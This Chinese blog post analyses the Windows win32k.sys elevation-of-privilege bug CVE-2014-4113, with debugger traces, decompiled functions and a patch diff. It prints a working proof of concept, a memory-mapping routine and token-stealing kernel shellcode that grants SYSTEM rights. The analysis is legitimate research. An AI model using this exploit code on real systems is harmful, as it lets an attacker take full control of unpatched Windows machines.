天天看點

漏洞分析:MS14-058(CVE-2014-4113)

作者:selph

漏洞分析:CVE-2014-4113

漏洞介紹

漏洞程式

Microsoft Windows是美國微軟(Microsoft)公司釋出的一系列作業系統。win32k.sys是Windows子系統的核心部分,是一個核心模式裝置驅動程式,它包含有視窗管理器、背景控制視窗和螢幕輸出管理等。

如果Windows核心模式驅動程式不正确地處理記憶體中的對象,則存在一個特權提升漏洞。成功利用此漏洞的攻擊者可以運作核心模式中的任意代碼。攻擊者随後可安裝程式;檢視、更改或删除資料;或者建立擁有完全管理權限的新帳戶。

漏洞原理

該漏洞發生的位置是在驅動檔案Win32k.sys中的xxxHandleMenuMessage函數中,銷毀彈出菜單的時候通過鈎子的方法修改傳回值,将傳回值修改為fffffffb,因為對這個值沒有嚴格的檢查進而在sendmessage中再次被引用到,進而造成了UAF,這個方法可以在sendmessage中跳轉到shellcode進而提權

實驗環境

虛拟機:Windows 7 x86 sp1

實體機:Windows 10 x64 21H2

用到的工具:IDA,Windbg,VS2022

漏洞分析

以網上随便找的poc為突破口,開始分析漏洞,在虛拟機裡運作poc,windbg接管異常,說明漏洞實際存在(預設安裝的Windows7x86sp1)

檢視調用堆棧:

kd> kb

ChildEBP RetAddr Args to Child

00 af0bfa64 9d5b95c5 fffffffb 000001ed 0024fcd4 win32k!xxxSendMessageTimeout+0xb3

01 af0bfa8c 9d6392fb fffffffb 000001ed 0024fcd4 win32k!xxxSendMessage+0x28

02 af0bfaec 9d638c1f af0bfb0c 00000000 0024fcd4 win32k!xxxHandleMenuMessages+0x582

03 af0bfb38 9d63f8f1 fd665208 9d71f580 00000000 win32k!xxxMNLoop+0x2c6

04 af0bfba0 9d63f9dc 0000001c 00000002 00000000 win32k!xxxTrackPopupMenuEx+0x5cd

05 af0bfc14 83e441ea 00010211 00000002 00000000 win32k!NtUserTrackPopupMenuEx+0xc3

06 af0bfc14 77a670b4 (T) 00010211 00000002 00000000 nt!KiFastCallEntry+0x12a

07 0024fce8 762a483e (T) 76292243 00010211 00000002 ntdll!KiFastSystemCallRet

檢視一下目前異常的地方:

kd> u

win32k!xxxSendMessageTimeout+0xb3:

9d5b93fa 3b7e08 cmp edi,dword ptr [esi+8]

9d5b93fd 0f8484000000 je win32k!xxxSendMessageTimeout+0x140 (9d5b9487)

9d5b9403 8b0e mov ecx,dword ptr [esi]

9d5b9405 8b15e4d1719d mov edx,dword ptr [win32k!gSharedInfo+0x4 (9d71d1e4)]

9d5b940b 81e1ffff0000 and ecx,0FFFFh

9d5b9411 0faf0de8d1719d imul ecx,dword ptr [win32k!gSharedInfo+0x8 (9d71d1e8)]

9d5b9418 33c0 xor eax,eax

9d5b941a f644110901 test byte ptr [ecx+edx+9],1

是esi的值導緻了漏洞,檢視esi的值:

kd> r esi

esi=fffffffb

在調用鍊中,由使用者層的TrackPopupMenu函數觸發漏洞,而這個函數的功能是在螢幕指定位置顯示快捷菜單并且跟蹤選擇的菜單項(參考資料[6])

這裡頭會調用xxxMNLoop,這個函數裡有while(1)循環,應該是消息循環,處理消息的函數貌似正是xxxHandleMenuMessages

據查閱資料(參考資料[11]),TrackPopupMenu顯示菜單之後,消息循環就由菜單接管了,此時進入的是PopupMenu的消息循環

分析xxxHandleMenuMessages

這裡面開始經過一堆判斷之後,會通過xxxMNFindWindowFromPoint擷取一個視窗句柄,用于後續的xxxSendMessage函數使用

這個分支的大概内容是,從滑鼠位置擷取下一層的菜單項,擷取到了就發送ButtonDown(0x1ED)消息,也就是說,執行到這個分支實際上是點選事件!

而這裡對于xxxMNFindWindowFromPoint傳回的句柄值的處理則是,如果不是-1,就發送0x1ED消息

漏洞分析:MS14-058(CVE-2014-4113)

分析xxxMNFindWindowFromPoint

異常發生在了xxxSendMessage裡的,是由于第一個參數傳入的有問題導緻的,而第一個參數來自xxxMNFindWindowFromPoint的傳回值,該函數如下圖所示

可以看到這個函數的開頭:這裡首先判斷了目前菜單是否存在下級菜單,條件是ppopupmenu->spwndNextPopup有值,這裡的ppopupmenu是傳入的參數,是PPOPUPMENU結構體(參考資料[14])

其中spwndNextPopup成員的值含義是:下一層Popup菜單,是WND結構,是以需要建立兩個popup菜單,其中一個作為另一個的下層

struct tagWND spwndNextPopup;

/ The next popup in the hierarchy. Null if the last

* in chain

*/

這裡發送了消息0x1EB,MN_FINDMENUWINDOWFROMPOINT消息,根據名字猜測功能就是根據位置找菜單視窗,發送的目标是popup菜單的下一層菜單,傳回值應該就是菜單句柄了

漏洞分析:MS14-058(CVE-2014-4113)

這裡對傳回值會調用IsMFMWFPWindow函數進行處理:如果是非空,且不為-5或-1,就傳回1

BOOL __stdcall IsMFMWFPWindow(int a1)

{

return a1 && a1 != -5 && a1 != -1;

}

若這裡傳回了1,就會進入if語句導緻該變量被重新指派,也就是說,這裡如果要跳過這個if語句,傳回值就必須是-1或-5,而在前面看到,如果傳回值是-1,則不會進入到觸發漏洞的SendMessage中,是以這裡的傳回值在為-5的時候,會觸發漏洞

分析xxxSendMessage

int __stdcall xxxSendMessage(PVOID P, CHAR pszMultiByteString, WCHAR WideCharString, void *Src)

{

InterlockedIncrement(&glSendMessage);

return xxxSendMessageTimeout(P, pszMultiByteString, WideCharString, Src, 0, 0, 0, (PVOID)1);

}

這個函數把傳入的參數又接着傳入了xxxSendMessageTimeout函數

分析xxxSendMessageTimeout

程式異常點在esi的值上,esi=-5被傳入了進來,然後進行取值觸發位址通路異常

這個函數首先把這個值儲存到了esi

漏洞分析:MS14-058(CVE-2014-4113)

接着往下有一個比較跳轉:會從esi+8的位址取值

漏洞分析:MS14-058(CVE-2014-4113)

再往下還有兩個要esi的地方:

漏洞分析:MS14-058(CVE-2014-4113)

Poc編寫

如果能控制0x1EB消息的傳回值為-5,那麼就能走到xxxSendMessageTimeout中,讓程式異常觸發漏洞,實作poc

參考師傅們的筆記(參考資料[15])得知,這裡的調用SendMessage存在兩種調用形式,同步和異步,在異步調用的情況下,會從核心态進入使用者态去執行使用者鈎子,執行完再切換回核心态傳回:是以,可以Hook 0x1EB消息

Poc如下(參考自參考資料[5]的poc代碼):

#include

#include

LRESULT CALLBACK DialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

{

// 手動觸發按下事件

if (uMsg == WM_ENTERIDLE) {

PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);

PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);

PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);

}

return DefWindowProc(hWnd, uMsg, wParam, lParam);

}

LRESULT CALLBACK NewDialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

{

// 觸發漏洞,傳回-5

if (uMsg == 0x1eb) {

return -5;

}

return DefWindowProc(hWnd, uMsg, wParam, lParam);
           

}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)

{

CWPSTRUCT* ptag = (CWPSTRUCT*)lParam;

if (ptag->message == 0x1eb)

{

// 這裡至關重要:需要解除Hook

if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {

SetWindowLongA(ptag->hwnd, GWLP_WNDPROC, (LONG)NewDialogFun);

}

}

return CallNextHookEx(0, code, wParam, lParam);

}

int main()

{

// 注冊視窗類

WNDCLASSA wnd = { 0 };

wnd.hInstance = ::GetModuleHandle(NULL);

wnd.lpfnWndProc = DialogFun;

wnd.lpszClassName = "CVE-2014-4113";

RegisterClassA(&wnd);

// 建立視窗
HWND hwnd = ::CreateWindowA(
    wnd.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wnd.hInstance, NULL);

// 建立Pop-up菜單
// 需要兩個菜單,一個作為子菜單存在
HMENU menu1 = CreatePopupMenu();    // 主菜單
HMENU menu2 = CreatePopupMenu();    // 子菜單
::AppendMenuA(menu2, MF_STRING, 0, "world");
::AppendMenuA(menu1, MF_STRING | MF_POPUP, (UINT_PTR)menu2, "hello");  //給它一個 spwndNextPopup 指針

// 設定Hook
::SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());

// 觸發漏洞
BOOL ret = TrackPopupMenu(menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);

return 0;
           

}

這裡踩了個坑!!設定完鈎子在裡頭記得要解除鈎子!!!

漏洞利用

在Poc的基礎上,如果能控制0x3,0x11,0x5B這幾個位址的值,就能進行漏洞的利用

布置記憶體

DWORD GetPtiCurrent() {

__asm

{

mov eax, fs: [0x18]

mov eax, [eax + 0x40]

}

}

BOOL initMem() {

// 初始化一些要用到的記憶體

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

typedef NTSTATUS(WINAPI* PNtAllocateVirtualMemory)(

HANDLE ProcessHandle,

PVOID* BaseAddress,

ULONG ZeroBits,

PULONG AllocationSize,

ULONG AllocationType,

ULONG Protect

);

PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

// 申請記憶體
ULONG base = -5;
ULONG size = 0x1000;
NTSTATUS ntstatus = NtAllocateVirtualMemory(GetModuleHandle(NULL), (PVOID*)&base, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ntstatus != 0) {
    FreeLibrary(hNtdll);
    return FALSE;
}
*(DWORD*)0x3 = GetPtiCurrent();
*(BYTE*)0x11 = (BYTE)4;
*(DWORD*)0x5B = (DWORD)ShellCode;
return TRUE;
           

}

Shellcode

來自參考資料[19]

int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4)

{

_asm

{

pushad

mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread

mov eax, [eax + 0x50] // Find the _EPROCESS structure

mov ecx, eax

mov edx, 4 // edx = system PID(4)

// The loop is to get the _EPROCESS of the system
    find_sys_pid :
    mov eax, [eax + 0xb8]   // Find the process activity list
    sub eax, 0xb8           // List traversal
    cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
    jnz find_sys_pid

    // Replace the Token
    mov edx, [eax + 0xf8]
    mov[ecx + 0xf8], edx
    popad
}
return 0;
           

}

完整代碼見GitHub:https://github.com/kn0sky/vul-analysis-study/blob/main/CVE-2014-4113/CVE-2014-4113.cpp

利用截圖

漏洞分析:MS14-058(CVE-2014-4113)

更新檔diff

漏洞觸發點(0x1ED消息)處的函數對比

漏洞分析:MS14-058(CVE-2014-4113)

可以看到,左邊檢查ebx參數是檢查是否是-1,不是-1則發送消息

右邊的檢查則多了一個過程,調用了IsMFMWFPWindow函數進行再次檢查:

繼續閱讀